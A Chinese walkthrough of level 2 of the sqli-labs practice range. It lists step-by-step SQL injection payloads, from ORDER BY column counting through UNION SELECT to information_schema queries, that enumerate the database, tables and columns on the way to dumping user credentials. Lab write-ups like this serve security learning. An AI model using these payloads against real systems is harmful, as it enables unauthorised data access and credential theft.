web——sqliabs靶场——第二关
今天来搞第二关,来看看是什么咸蛋
1.判断是否存在sql注入漏洞
输入1'
存在sql注入,报错语句为
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
和第一关的报错语句相比
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这两个语句的区别
第二句错误发生在 ''1''
部分,也就是在 1
的前后有多余的引号。通常在 SQL 中,字符串应该被单引号 '
包裹,而在这个错误中,1
被包裹在了两对单引号中:''1''
。
第一句的错误发生在 ''
部分,也就是 SQL 查询中某个地方用单引号包裹了一个空字符串。空字符串(''
)作为查询条件可能是导致错误的原因。通常在 SQL 查询中使用空字符串时,除非有特定的需求,否则应避免使用空字符串作为条件。
2.判断sql注入漏洞的类型
1.数字型判断
/?id=1 and 1=1
/?id=1 and 1=2
是数字型判断
3.判断它的字段数
/?id=1 order by 1-++
/?id=1 order by 2-++
/?id=1 order by 3-++
/?id=1 order by 4-++
还是只有三个字段
爆出显示位
/?id=-1 union select 1,2,3 --+
一定要-1,不然后面的语句不执行
如果 id
参数传入 -1
,并且数据库表格没有 id = -1
的记录(比如用户表中的 id 都是正整数),那么这个查询会返回空结果。这时,如果攻击者进一步利用 UNION
操作来连接其他查询,可能绕过原始的查询结果返回机制。
可以看到是第二列和第三列里面的数据是显示在页面的
开始判断库名
/?id=-1 union select 1,database(),version()--+
数据库还是security
判断表名
/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
开始爆users的列名
/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
开始爆username和password里的数据
结束